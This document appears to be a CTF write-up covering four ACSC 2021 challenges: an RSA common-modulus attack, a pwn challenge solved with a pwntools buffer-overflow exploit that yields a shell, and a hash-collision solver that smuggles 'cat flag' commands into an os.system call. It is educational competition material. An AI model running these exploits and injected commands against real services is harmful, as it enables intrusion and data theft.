# ACSC CTF Writeups (TWY)
1. [welcome](#welcome-warmup-Score-1-429-Solves)
2. [RSA stream](#RSA-stream-crypto-Score-100-121-Solves)
3. [filtered](#filtered-pwn-Score-100-168-Solves)
4. [Wonderful Hash](#Wonderful-Hash-crypto-Score-340-11-Solves)
5. [Swap on Curve](#Swap-on-Curve-crypto-Score-250-34-Solves)
6. [Pickle Rick](#Pickle-Rick-rev-Score-220-121-Solves)
7. [Two Rabin](#Two-Rabin-crypto-Score-360-20-Solves)
8. [CBCBC](#CBCBC-crypto-Score-210-35-Solves)
## welcome (warmup) (Score: 1, 429 Solves)
### Solution
Keyword search `ACSC` in discord and check the oldest messages.
Flag: `ACSC{welcome_to_ACSC_2021!}`
## RSA stream (crypto) (Score: 100, 121 Solves)
### Source (chal.py)
```python=
import gmpy2
from Crypto.Util.number import long_to_bytes, bytes_to_long, getStrongPrime, inverse
from Crypto.Util.Padding import pad
from flag import m
#m = b"ACSC{<REDACTED>}" # flag!
f = open("chal.py","rb").read() # I'll encrypt myself!
print("len:",len(f))
p = getStrongPrime(1024)
q = getStrongPrime(1024)
n = p * q
e = 0x10001
print("n =",n)
print("e =",e)
print("# flag length:",len(m))
m = pad(m, 255)
m = bytes_to_long(m)
assert m < n
stream = pow(m,e,n)
cipher = b""
for a in range(0,len(f),256):
q = f[a:a+256]
if len(q) < 256:q = pad(q, 256)
q = bytes_to_long(q)
c = stream ^ q
cipher += long_to_bytes(c,256)
e = gmpy2.next_prime(e)
stream = pow(m,e,n)
open("chal.enc","wb").write(cipher)
```
### Analysis
The script encrpyts itself, and the encryption result is saved to `chal.enc`.
1. Block size is 256 with padding.
2. The ciphertext of m (the flag) is xor-ed with the content of each block.
3. The modulus, n, and the flag, m, do not change, but the exponent changes per block. (To the next prime)
### Solution
Since the encryption result is only xor-ed with the ciphertext, so we can recover the ciphertexts by applying exclusive-or again.
```python
# helper functions
reduce = lambda func, lst, init: func(lst[0], reduce(func, lst[1:], init)) if len(lst) else init
xor = lambda *a: bytes([reduce(lambda a, b: a ^ b, at, 0) for at in zip(*a)])
src1 = pad(open("chal.py", "rb").read(), 256)
src2 = open("chal.enc", "rb").read()
ciphertext = xor(src1, src2)
cipher1 = ciphertext[:256]
cipher2 = ciphertext[256:512]
cipher3 = ciphertext[512:]
```
Notice that the 3 exponents used are `65537`, `next_prime(65537)`, and `next_prime(next_prime(65537))`
Therefore,
$$
\text{cipher1} = m^{65537} \bmod n \\
\text{cipher2} = m^{65539} \bmod n \\
\text{cipher3} = m^{65543} \bmod n
$$
Relabelling:
```python
c65537 = ciphertext[:256]
c65539 = ciphertext[256:512]
c65543 = ciphertext[512:]
```
By applying common modulus attack,
$$
m^2 \bmod n = (\text{c65539} \times \text{c65537}^{-1}) \bmod n
$$
```python
c2 = (c65539 * pow(c65537, -1, n))%n
```
$$
m \bmod n = (\text{c65537} \times \text{c2}^{-32768}) \bmod n
$$
```python
c = (c65537 * pow(c2, -32768, n))%n
from Crypto.Util.number import long_to_bytes
print(long_to_bytes(c))
```
Output:
```
b'ACSC{changing_e_is_too_bad_idea_1119332842ed9c60c9917165c57dbd7072b016d5b683b67aba6a648456db189c}\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e'
```
Flag: `ACSC{changing_e_is_too_bad_idea_1119332842ed9c60c9917165c57dbd7072b016d5b683b67aba6a648456db189c}`
## filtered (pwn) (Score: 100, 168 Solves)
### Source (filtered.c)
```c=
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
/* Call this function! */
void win(void) {
char *args[] = {"/bin/sh", NULL};
execve(args[0], args, NULL);
exit(0);
}
/* Print `msg` */
void print(const char *msg) {
write(1, msg, strlen(msg));
}
/* Print `msg` and read `size` bytes into `buf` */
void readline(const char *msg, char *buf, size_t size) {
char c;
print(msg);
for (size_t i = 0; i < size; i++) {
if (read(0, &c, 1) <= 0) {
print("I/O Error\n");
exit(1);
} else if (c == '\n') {
buf[i] = '\0';
break;
} else {
buf[i] = c;
}
}
}
/* Print `msg` and read an integer value */
int readint(const char *msg) {
char buf[0x10];
readline(msg, buf, 0x10);
return atoi(buf);
}
/* Entry point! */
int main() {
int length;
char buf[0x100];
/* Read and check length */
length = readint("Size: ");
if (length > 0x100) {
print("Buffer overflow detected!\n");
exit(1);
}
/* Read data */
readline("Data: ", buf, length);
print("Bye!\n");
return 0;
}
```
### Analysis
The program ask for the length of the data, then ask for the data and quit.
The target is to call the function `win`.
### Solution
Notice that `length` is in `int` type that is later passed into `readline` as the third argument, which is in `size_t` type (usually `unsigned`).
Therefore, `length` as `size_t` can be greater than `0x100` by specifying a negative integer (like `-1`).
As the program does not use something like ASLR (address space layout randomization), we can effectively obtain the address to `win (0x4011d6)` by checking `gdb` or any decompiler.
We can lazily append the address several times without finding out the actual return address.
pwntools solving script:
```python=
from pwn import *
r = remote("filtered.chal.acsc.asia", 9001, level="debug")
r.recvuntil("Size: ")
r.sendline("-1")
r.recvuntil("Data: ")
r.sendline(b"A" * 256 + p64(0x4011d6) * 16) # 4 instead of 16 is enough
r.interactive()
```
Output:
```
[+] Opening connection to filtered.chal.acsc.asia on port 9001: Done
[*] Switching to interactive mode
Bye!
$ ls
filtered
flag-08d995360bfb36072f5b6aedcc801cd7.txt
$ cat fl*
ACSC{GCC_d1dn'7_sh0w_w4rn1ng_f0r_1mpl1c17_7yp3_c0nv3rs10n}
$
```
Flag: `ACSC{GCC_d1dn'7_sh0w_w4rn1ng_f0r_1mpl1c17_7yp3_c0nv3rs10n}`
## Wonderful Hash (crypto) (Score: 340, 11 Solves)
### Source (chall.py)
```python=
import os
import string
from Crypto.Cipher import AES, ARC4, DES
BLOCK = 16
def bxor(a, b):
res = [c1 ^ c2 for (c1, c2) in zip(a, b)]
return bytes(res)
def block_hash(data):
data = AES.new(data, AES.MODE_ECB).encrypt(b"\x00" * AES.block_size)
data = ARC4.new(data).encrypt(b"\x00" * DES.key_size)
data = DES.new(data, DES.MODE_ECB).encrypt(b"\x00" * DES.block_size)
return data[:-2]
def hash(data):
length = len(data)
if length % BLOCK != 0:
pad_len = BLOCK - length % BLOCK
data += bytes([pad_len] * pad_len)
length += pad_len
block_cnt = length // BLOCK
blocks = [data[i * BLOCK:(i + 1) * BLOCK] for i in range(block_cnt)]
res = b"\x00" * BLOCK
for block in blocks:
res = bxor(res, block_hash(block))
return res
def check(cmd, new_cmd):
if len(cmd) != len(new_cmd):
return False
if hash(cmd) != hash(new_cmd):
return False
for c in new_cmd:
if chr(c) not in string.printable:
return False
return True
cmd = (b"echo 'There are a lot of Capture The Flag (CTF) competitions in "
b"our days, some of them have excelent tasks, but in most cases "
b"they're forgotten just after the CTF finished. We decided to make"
b" some kind of CTF archive and of course, it'll be too boring to "
b"have just an archive, so we made a place, where you can get some "
b"another CTF-related info - current overall Capture The Flag team "
b"rating, per-team statistics etc'")
def menu():
print("[S]tore command")
print("[E]xecute command")
print("[F]iles")
print("[L]eave")
return input("> ")
while True:
choice = menu()
if choice[0] == "S":
new_cmd = input().encode()
if check(cmd, new_cmd):
cmd = new_cmd
else:
print("Oops!")
exit(1)
elif choice[0] == "E":
os.system(cmd)
elif choice[0] == "F":
os.system(b"ls")
elif choice[0] == "L":
break
else:
print("Command Unsupported")
exit(1)
```
### Analysis
The service provides 3 options:
1. `F` for listing files in the directory (can confirm that `flag` is there)
2. `E` for executing the command as stored in cmd.
3. `S` for modifying the content of cmd.
- It is only possible if the cmd has the same length and hash as the original command.
The block hash (48 bits) is calculated as the encryption result of some ~~not important here~~ encryption methods, (AES, ARC4, and DES), and the hash is the xor result of all the block hashes.
### Solution
_(Should be Unintended)_
Since the hash is 48 bit as below:
```
000101010010110100011000110100111110110110010011
```
when we have at least 48 different hashes on hand and the rank is at least 48 in modulo 2, then we can solve whether to include any of the hashes like a linear equation system of 48 unknowns modulo 2. Assuming the distribution of the bits is random, then we expect that on average 24 of them will be of value 1, which indicates that the hash is used.
Since the original cmd has 27 blocks, where the last block only has 1 data byte and 16 padding bytes, we can fix the last two blocks as something like
```
echo ' '
```
, then we still have 25 blocks left.
If we can find a combination resulting in the same hash within 25 blocks, and the count is odd, then we can append the same block repeatedly until there are 25 blocks, since 2 same blocks have hashes cancelled out due to xor operation.
From `S` we know that the flag is stored in `flag`, therefore we can use `cat flag;` as the payload to print the flag, notice that the length of the payload is 9, so we can append 7 spaces to make the length 16. There are 4 places to insert the spaces, which are
```
[1]cat [2]flag[3];[4]
```
In total there are $C^{7+3}_3 = 120$ possible combinations.
```python=
# helper function
def bytes2bin(a):
tmp = ""
for i in a:
tmp += bin(i)[2:].zfill(8)
return tmp
blocksv = [b" " * i + b"cat " + b" " * j + b"flag" + b" " * k + b";" + b" " * (7 - i - j - k) for i in range(8) for j in range(8 - i) for k in range(8 - i - j)]
blocks = [bytes2bin(block_hash(x)) for x in blocksv]
```
We can then obtain the target xor result first:
```python=
# helper function
def bitxor(a, b):
return "".join(["0" if at == bt else "1" for at, bt in zip(a, b)])
fixed_blocks = [b"echo ' ", b"'" + b"\x0f" * 15]
initial = "0" * BLOCK * 8
for block in fixed_blocks:
initial = bitxor(initial, bytes2bin(block_hash(block)))
target = bitxor(target, initial)
```
Now we can apply the elimination-like method to obtain an independent combination for each bit.
```python=
# helper function
def xorarray(a, b):
m = max(a + b)
return [i for i in range(m+1) if (i in a and i not in b) or (i not in a and i in b)]
mem = [(b, [i]) for i, b in enumerate(blocks)]
used = []
# elimination
for i in range(48):
mem = sorted(mem, reverse=True)
assert mem[i][0][i] == "1"
for j in range(i + 1, len(mem)):
if mem[j][0][i] == "1":
mem[j] = (bitxor(mem[i][0], mem[j][0]), xorarray(mem[i][1], mem[j][1]))
else:
break
for i in range(47,-1,-1):
for j in range(i):
if mem[j][0][i] == "1":
mem[j] = (bitxor(mem[i][0], mem[j][0]), xorarray(mem[i][1], mem[j][1]))
# build the component list from the target
for i in range(48):
if target[i] == "1":
target, used = bitxor(target, mem[i][0]), xorarray(used, mem[i][1])
# if it is too long or the parity is incorrect, then use remaining 0-blocks to fill it up
while len(used) > 26 or (len(used) ^ 27 ^ len(fixed_blocks)) % 2:
print(used)
i = random.randrange(48, len(mem))
target, used = bitxor(target, mem[i][0]), xorarray(used, mem[i][1])
# parity is correct now, so we append the same block until the desired length matches
while len(used) < 27 - 2:
used += [0, 0]
result = "".join(blocksv[x].decode() for x in used) + "".join(x.decode() for x in fixed_blocks[:-1]) + "'"
# output the payload
print(result)
```
Sample outputs:
```
cat flag ; cat flag ; cat flag ; cat flag ; cat flag ; cat flag ; cat flag; cat flag ; cat flag ; cat flag ; cat flag; cat flag; cat flag ; cat flag; cat flag ; cat flag; cat flag; cat flag ; cat flag ; cat flag; cat flag; cat flag; cat flag; cat flag; cat flag; echo ' '
cat flag ; cat flag ; cat flag; cat flag ; cat flag ; cat flag; cat flag; cat flag ; cat flag ; cat flag ; cat flag ; cat flag; cat flag ; cat flag; cat flag ; cat flag; cat flag;cat flag; cat flag; cat flag; cat flag; cat flag; cat flag; cat flag; cat flag; echo ' '
cat flag; cat flag ; cat flag ; cat flag ;cat flag ; cat flag ; cat flag ;cat flag; cat flag ; cat flag ; cat flag ; cat flag; cat flag ; cat flag; cat flag ; cat flag ; cat flag ; cat flag ; cat flag ; cat flag ; cat flag; cat flag ; cat flag ; cat flag ; cat flag; echo ' '
```
Submission:
```
$ nc wonderful-hash.chal.acsc.asia 10217
== proof-of-work: disabled ==
[S]tore command
[E]xecute command
[F]iles
[L]eave
> S
cat flag; cat flag ; cat flag ; cat flag ;cat flag ; cat flag ; cat flag ;cat flag; cat flag ; cat flag ; cat flag ; cat flag; cat flag ; cat flag; cat flag ; cat flag ; cat flag ; cat flag ; cat flag ; cat flag ; cat flag; cat flag ; cat flag ; cat flag ; cat flag; echo ' '
[S]tore command
[E]xecute command
[F]iles
[L]eave
> E
ACSC{M1Tm_i5_FunNY_But_Painfu1}
ACSC{M1Tm_i5_FunNY_But_Painfu1}
ACSC{M1Tm_i5_FunNY_But_Painfu1}
ACSC{M1Tm_i5_FunNY_But_Painfu1}
ACSC{M1Tm_i5_FunNY_But_Painfu1}
ACSC{M1Tm_i5_FunNY_But_Painfu1}
ACSC{M1Tm_i5_FunNY_But_Painfu1}
ACSC{M1Tm_i5_FunNY_But_Painfu1}
ACSC{M1Tm_i5_FunNY_But_Painfu1}
ACSC{M1Tm_i5_FunNY_But_Painfu1}
ACSC{M1Tm_i5_FunNY_But_Painfu1}
ACSC{M1Tm_i5_FunNY_But_Painfu1}
ACSC{M1Tm_i5_FunNY_But_Painfu1}
ACSC{M1Tm_i5_FunNY_But_Painfu1}
ACSC{M1Tm_i5_FunNY_But_Painfu1}
ACSC{M1Tm_i5_FunNY_But_Painfu1}
ACSC{M1Tm_i5_FunNY_But_Painfu1}
ACSC{M1Tm_i5_FunNY_But_Painfu1}
ACSC{M1Tm_i5_FunNY_But_Painfu1}
ACSC{M1Tm_i5_FunNY_But_Painfu1}
ACSC{M1Tm_i5_FunNY_But_Painfu1}
ACSC{M1Tm_i5_FunNY_But_Painfu1}
ACSC{M1Tm_i5_FunNY_But_Painfu1}
ACSC{M1Tm_i5_FunNY_But_Painfu1}
ACSC{M1Tm_i5_FunNY_But_Painfu1}
[S]tore command
[E]xecute command
[F]iles
[L]eave
> L
```
Flag: `ACSC{M1Tm_i5_FunNY_But_Painfu1}`
### Notes
The length growth rate of the component list is not too large, so even when we use all 120 hashes, the resulting used blocks is surprisingly only 17 blocks:
Original hash list:
```
('010010100011001110010000010100000100110100010000', [0])
('011000010100000000010101101100011101011110101000', [1])
('010010010000110100110011010010111000001011111101', [2])
('110100111010001001100100101100110001011100100010', [3])
('110100111100101111111101110100100001100110010100', [4])
('000011101000110111110101101000110010010011000000', [5])
('001110100101111010001111000000101101111011111100', [6])
('111110011100100010100000001010010001111100001010', [7])
('000001011011110110111011010001111101000100100110', [8])
('011001101101100111111100000001000111101010000011', [9])
('011111011101100010101101001101111100011000100101', [10])
('110000110100010001000101011011101111111011101101', [11])
('101011011010000000111011010010001001011111110110', [12])
('001110100010010011000110111010010001001001001001', [13])
('001010011110011000010000000001010010001110111110', [14])
('110000010111001010010001001100010101100010110101', [15])
('010100010101101100001001011001010000100001110000', [16])
('010111010011101010010010100010000110011100100010', [17])
('010011101000100100101000101110110100100111110001', [18])
('001010111110110001111000011110010101010001010100', [19])
('111010110100110101011010101101111100110001111001', [20])
('101010101000010111111100010001001011010101110110', [21])
('110000000100000100111110101101001110010010010010', [22])
('001000001000000110011101100001100001101110011111', [23])
('011010001101011110011110010101101001000101011111', [24])
('111010000001110110001111100001101100111100000001', [25])
('100110000010010101110111110011011010110101001111', [26])
('101010101101111001111110010100001110010000001111', [27])
('101101001011001100101011001010100100001000011001', [28])
('011000011101001001011001101010110100110100101001', [29])
('110001111110110101010101011101011111011010110000', [30])
('110100110111011111011111100010011110101000000100', [31])
('100010011100001001110001101000100011110010010011', [32])
('000111010111001111111011111011001001010010101010', [33])
('011110111001011010010010110011001110010100011101', [34])
('010000100110101110011010111100111001010100000110', [35])
('000011000110101000100011000010010000011100011010', [36])
('101000001111110101000000010000011101001011101110', [37])
('000110011000000000010011110000011000000011111110', [38])
('111110001001111111001100100101111100011111111110', [39])
('010100100011111101111101101110000000011101011010', [40])
('001101011100101000001011011110000011000011010011', [41])
('000001011001110010000101110000010000000100110110', [42])
('101011010010110110010100001101001110110101011011', [43])
('001100111100101111100111110011010100010011011110', [44])
('011101010101001110110010111010011000101000101011', [45])
('111111110111011110011000011100101011000100100001', [46])
('001001100010001110011101001001001110011011001101', [47])
('010011011011000000001110111100101101101001000000', [48])
('111110001001000111010001101000010101010001010101', [49])
('101010110111111000011100010001110011000100000110', [50])
('101001100100110111100010100010111101011100111101', [51])
('010010110011110110001010000101110011110001101101', [52])
('001011111000111100011011010000101011010010000010', [53])
('001000011100001010111100111100010100011001000100', [54])
('101110000000001010110101111110101111111010111010', [55])
('010011010011111000100110111100000100101011101101', [56])
('110110110011110101111111010100111101010000011001', [57])
('011101011011000011010101011000000111001101001011', [58])
('100000011110101011011101110010011100000000010101', [59])
('111101000011100111110100110101000110001100001000', [60])
('011110100100111110011101010010101100110001101110', [61])
('110101011111010011011111011100010110100000000001', [62])
('010011000100011101000000001101001100001100101101', [63])
('011000011101101110100000111101001011110000000001', [64])
('001011110110000001101110001011110110001010010010', [65])
('000011111011010101010110000100011001100001011010', [66])
('000001001100011010001000101101111100111011100011', [67])
('011011110110111110111001011011111010001110001110', [68])
('011111011111100000110101000000100101111110001101', [69])
('100101000000011101100011111001111010110111000001', [70])
('111001000001000111110111111000111100111100000001', [71])
('001000011110110010001010000000111100000101111110', [72])
('100111011100010101100011101111010110101001100000', [73])
('000010111101011011100101111000100110001011101111', [74])
('101001011101010011100000000101000011101010100001', [75])
('000110111110101100001101010011100000101101001101', [76])
('111001010000110110111100010011010110110000001111', [77])
('010101100110011111001011111111100100110100011101', [78])
('011100101001001001111000100011100000110101011111', [79])
('110111101010100101011010010010110001111110010000', [80])
('110011001110001001000001111010010001011110110010', [81])
('101101010001101111110001000000101101001010000110', [82])
('100001110000100001000100100011111000001010000111', [83])
('100000100110110111100001110101010111001111011101', [84])
('000001000001011111110111110111101011011100110010', [85])
('000100001010110000110101011010110101000011001000', [86])
('001111010110001110111010111001100111100101100110', [87])
('100000111111011000101100100011101100010010001001', [88])
('100010100001100001011110011001001000001110110000', [89])
('110010111101101110010010010011001111110110100011', [90])
('000001111011111000101010000001110100100101110101', [91])
('000000111001101001101110010110100010011101111100', [92])
('100100010000011111100010011100011111100000111100', [93])
('101110001010111110111010001001010111011100110110', [94])
('111011011100001100101100000010101110000001100010', [95])
('110101110000110101111001001011000111010100001100', [96])
('001110110000000000110001000010010000001001001100', [97])
('110110111101110001100000100000001000101010001111', [98])
('111001110101110101101010111101011100000110111111', [99])
('001010111000000010001110101101011001000011101101', [100])
('101111001111000111011010010011111101010110011000', [101])
('101110111111010101110010000110101100100111100110', [102])
('100101110000110010110000110001101100101011001001', [103])
('000011100000010001110000111011001010010111101011', [104])
('011110010011111010111001101001011100000000010010', [105])
('011101111100010101111001110010001100100111001001', [106])
('010000000010100010110000101110111111110000000101', [107])
('010101000000011101010111001000111011001110000110', [108])
('010000010000110010111101101001111001000111001001', [109])
('001101001110100101000110011100101010100010011100', [110])
('110111110010101011001111011110100101100001111111', [111])
('010100010010111111100111110001000001011101010111', [112])
('011011011000011101010111111100101000010011011100', [113])
('101011011010011001000111000001101111111101101110', [114])
('110000111001111001100001111111100001110110110100', [115])
('001010010100111001110001111001100100010110110011', [116])
('101111101000000011011101000011110001110111100011', [117])
('000110110001011100111111100000000001001111011101', [118])
('100011000101010010011101110011111101010101000010', [119])
```
Reduced hash list:
```
('100000000000000000000000000000000000000000000000', [1, 5, 7, 9, 10, 13, 16, 17, 24, 26, 29, 34, 40, 58, 82, 90, 98, 100, 104, 110, 112, 114, 117])
('010000000000000000000000000000000000000000000000', [1, 5, 9, 16, 17, 20, 24, 26, 28, 34, 51, 56, 59, 75, 82, 97, 106, 107, 109, 110, 112, 115])
('001000000000000000000000000000000000000000000000', [2, 3, 5, 7, 13, 16, 20, 22, 24, 26, 27, 34, 43, 46, 59, 75, 81, 88, 93, 97, 98, 100, 104, 109])
('000100000000000000000000000000000000000000000000', [5, 9, 10, 13, 17, 22, 28, 46, 51, 56, 58, 59, 69, 93, 97, 98, 100, 106, 110, 112, 115])
('000010000000000000000000000000000000000000000000', [2, 9, 10, 13, 16, 22, 24, 29, 43, 51, 56, 59, 81, 97, 106, 107, 109, 117])
('000001000000000000000000000000000000000000000000', [1, 2, 7, 13, 17, 20, 21, 24, 26, 29, 34, 40, 43, 46, 51, 57, 59, 69, 75, 81, 88, 90, 97, 100, 104, 106, 114, 115, 117])
('000000100000000000000000000000000000000000000000', [1, 3, 5, 7, 9, 16, 17, 20, 21, 22, 24, 27, 28, 29, 34, 43, 51, 56, 59, 69, 75, 81, 82, 88, 93, 97, 100, 106, 109, 112, 115])
('000000010000000000000000000000000000000000000000', [1, 2, 3, 5, 10, 17, 21, 22, 24, 27, 28, 29, 41, 51, 58, 66, 90, 97, 98, 100, 106, 109, 110, 112, 114, 117])
('000000001000000000000000000000000000000000000000', [1, 2, 3, 5, 7, 9, 13, 17, 20, 27, 28, 43, 46, 51, 56, 57, 59, 81, 82, 88, 90, 93, 98, 104, 114, 115])
('000000000100000000000000000000000000000000000000', [1, 5, 17, 20, 21, 22, 26, 28, 29, 41, 59, 66, 69, 81, 82, 88, 97, 100, 106, 109, 110, 114, 115, 117])
('000000000010000000000000000000000000000000000000', [1, 2, 5, 9, 10, 13, 17, 20, 21, 24, 26, 27, 43, 51, 57, 81, 90, 93, 97, 100, 104, 107, 109, 110, 112, 115, 117])
('000000000001000000000000000000000000000000000000', [2, 5, 7, 9, 10, 13, 16, 22, 27, 34, 40, 41, 43, 58, 59, 69, 82, 88, 90, 93, 97, 106, 107, 112, 114])
('000000000000100000000000000000000000000000000000', [2, 3, 5, 9, 20, 22, 24, 28, 34, 43, 46, 57, 58, 59, 90, 93, 97, 98, 100, 106, 107, 109, 110, 114, 115, 117])
('000000000000010000000000000000000000000000000000', [5, 10, 22, 26, 29, 41, 46, 51, 57, 75, 82, 100, 104, 106, 107, 109, 117])
('000000000000001000000000000000000000000000000000', [2, 7, 10, 16, 17, 20, 22, 28, 29, 34, 46, 51, 59, 66, 88, 90, 93, 97, 98, 100, 106, 107, 109, 110, 115])
('000000000000000100000000000000000000000000000000', [1, 7, 9, 10, 13, 16, 17, 21, 28, 29, 34, 41, 43, 46, 51, 56, 57, 59, 66, 69, 81, 93, 98, 100, 104, 109, 110, 115])
('000000000000000010000000000000000000000000000000', [1, 5, 7, 9, 10, 13, 17, 20, 27, 28, 46, 57, 59, 66, 81, 82, 88, 93, 98, 104, 106, 107, 109, 115, 117])
('000000000000000001000000000000000000000000000000', [2, 9, 10, 20, 22, 24, 34, 40, 43, 56, 57, 69, 75, 88, 93, 97, 104, 112, 114])
('000000000000000000100000000000000000000000000000', [5, 20, 21, 22, 24, 26, 27, 28, 29, 34, 41, 46, 56, 57, 59, 66, 69, 88, 93, 97, 98, 107, 109, 110, 114, 117])
('000000000000000000010000000000000000000000000000', [7, 10, 13, 16, 17, 24, 26, 27, 34, 46, 51, 58, 69, 82, 93, 98, 100, 104, 106, 107, 109, 114, 115])
('000000000000000000001000000000000000000000000000', [1, 9, 16, 17, 20, 28, 29, 40, 41, 43, 46, 51, 57, 59, 66, 90, 93, 98, 100, 109, 110, 112, 115, 117])
('000000000000000000000100000000000000000000000000', [1, 3, 5, 7, 9, 13, 17, 20, 22, 24, 26, 27, 29, 34, 40, 41, 51, 57, 59, 69, 75, 81, 88, 93, 98, 100, 106, 107, 109, 110])
('000000000000000000000010000000000000000000000000', [1, 2, 3, 5, 10, 13, 20, 21, 22, 26, 28, 43, 51, 56, 59, 66, 75, 81, 82, 97, 98, 104, 107, 109, 110, 114, 115, 117])
('000000000000000000000001000000000000000000000000', [1, 2, 3, 7, 10, 13, 16, 17, 24, 26, 27, 28, 29, 41, 46, 69, 75, 82, 88, 90, 98, 104, 106, 107, 109, 110, 117])
('000000000000000000000000100000000000000000000000', [1, 5, 7, 9, 10, 13, 16, 21, 28, 29, 34, 40, 41, 46, 57, 58, 59, 75, 88, 90, 100, 107, 109, 112, 115])
('000000000000000000000000010000000000000000000000', [2, 5, 10, 13, 20, 21, 22, 26, 27, 28, 29, 46, 56, 59, 69, 75, 97, 98, 106, 107, 110, 114, 115])
('000000000000000000000000001000000000000000000000', [1, 2, 5, 10, 13, 16, 21, 24, 26, 34, 46, 57, 66, 75, 90, 97, 100, 104, 109, 110, 112, 114, 115])
('000000000000000000000000000100000000000000000000', [1, 3, 9, 16, 21, 22, 26, 27, 40, 43, 46, 56, 57, 58, 59, 81, 82, 88, 90, 104, 107, 109, 112, 114, 115, 117])
('000000000000000000000000000010000000000000000000', [2, 5, 7, 13, 20, 24, 28, 40, 43, 66, 69, 82, 88, 90, 93, 106, 107, 110, 112])
('000000000000000000000000000001000000000000000000', [1, 2, 7, 9, 13, 16, 17, 20, 22, 26, 27, 28, 41, 46, 57, 69, 75, 81, 82, 88, 90, 93, 98, 100, 110, 112, 114, 115, 117])
('000000000000000000000000000000100000000000000000', [3, 10, 13, 16, 20, 24, 27, 29, 34, 40, 41, 43, 46, 57, 58, 66, 69, 75, 82, 88, 90, 93, 97, 106, 109, 110, 112, 117])
('000000000000000000000000000000010000000000000000', [2, 3, 5, 17, 21, 24, 27, 34, 57, 69, 75, 82, 93, 97, 100, 106, 109, 110, 112, 117])
('000000000000000000000000000000001000000000000000', [2, 3, 7, 10, 22, 24, 26, 27, 28, 29, 34, 40, 41, 43, 46, 51, 57, 58, 59, 69, 82, 88, 90, 93, 104, 106, 107, 117])
('000000000000000000000000000000000100000000000000', [1, 5, 9, 10, 13, 16, 20, 21, 22, 24, 28, 40, 41, 43, 46, 51, 57, 69, 75, 81, 88, 93, 98, 104, 106, 109, 112, 117])
('000000000000000000000000000000000010000000000000', [2, 5, 16, 22, 24, 26, 27, 28, 34, 58, 69, 75, 81, 82, 88, 90, 93, 98, 100, 117])
('000000000000000000000000000000000001000000000000', [2, 3, 7, 9, 13, 17, 22, 24, 26, 27, 28, 29, 34, 40, 41, 56, 58, 59, 88, 97, 100, 109, 110, 114, 115])
('000000000000000000000000000000000000100000000000', [2, 5, 9, 16, 17, 22, 34, 40, 41, 51, 56, 69, 75, 88, 90, 106, 107, 109, 112, 114])
('000000000000000000000000000000000000010000000000', [1, 2, 3, 9, 10, 16, 20, 26, 27, 29, 34, 57, 59, 69, 81, 90, 93, 97, 104, 106, 112, 114, 115, 117])
('000000000000000000000000000000000000001000000000', [1, 2, 3, 16, 21, 22, 24, 28, 29, 40, 41, 46, 51, 82, 88, 106, 107, 112, 114, 117])
('000000000000000000000000000000000000000100000000', [1, 17, 22, 24, 26, 28, 40, 41, 69, 81, 88, 90, 97, 98, 104, 110, 112, 114])
('000000000000000000000000000000000000000010000000', [2, 3, 5, 7, 9, 10, 20, 21, 26, 27, 28, 34, 40, 41, 43, 51, 59, 75, 81, 88, 93, 100, 106])
('000000000000000000000000000000000000000001000000', [2, 3, 5, 9, 13, 17, 20, 24, 29, 34, 43, 51, 58, 66, 82, 90, 98, 106, 107, 112, 117])
('000000000000000000000000000000000000000000100000', [1, 3, 7, 9, 10, 16, 17, 20, 27, 34, 40, 41, 51, 56, 57, 58, 59, 69, 81, 82, 93, 97, 100, 107])
('000000000000000000000000000000000000000000010000', [1, 2, 5, 10, 16, 17, 20, 22, 24, 27, 28, 41, 43, 46, 51, 57, 66, 75, 93, 97, 100, 104, 107, 109, 110])
('000000000000000000000000000000000000000000001000', [7, 9, 16, 21, 24, 26, 28, 29, 43, 46, 51, 57, 58, 59, 66, 75, 81, 82, 93, 98, 100, 104, 107, 109, 110, 114, 117])
('000000000000000000000000000000000000000000000100', [3, 9, 10, 13, 16, 17, 20, 22, 26, 27, 46, 57, 58, 66, 69, 75, 100, 109, 110, 112, 114, 115])
('000000000000000000000000000000000000000000000010', [9, 10, 13, 16, 17, 20, 21, 22, 28, 29, 41, 46, 56, 66, 82, 90, 97, 107, 109, 110, 112, 114, 115, 117])
('000000000000000000000000000000000000000000000001', [9, 16, 21, 22, 24, 26, 34, 41, 43, 46, 56, 57, 58, 59, 69, 75, 82, 88, 90, 97, 100, 106, 109, 114, 115, 117])
('000000000000000000000000000000000000000000000000', [5, 7, 9, 10, 13, 16, 17, 20, 21, 22, 24, 27, 43, 51, 57, 66, 69, 75, 81, 83, 90, 97, 98, 107, 117])
('000000000000000000000000000000000000000000000000', [5, 7, 13, 16, 17, 20, 22, 28, 29, 51, 54, 66, 69, 88, 90, 93, 97, 100, 109, 112, 114, 117])
('000000000000000000000000000000000000000000000000', [3, 5, 9, 10, 13, 16, 17, 20, 28, 43, 57, 66, 69, 88, 90, 92, 98, 100, 109, 112])
('000000000000000000000000000000000000000000000000', [3, 5, 7, 9, 16, 20, 21, 22, 27, 28, 34, 43, 44, 46, 51, 56, 57, 58, 59, 66, 69, 75, 81, 88, 90, 93, 97, 98, 104, 109, 112, 114, 115])
('000000000000000000000000000000000000000000000000', [2, 9, 10, 22, 24, 29, 34, 40, 59, 75, 84, 90, 98, 100, 106, 107, 110, 112, 115, 117])
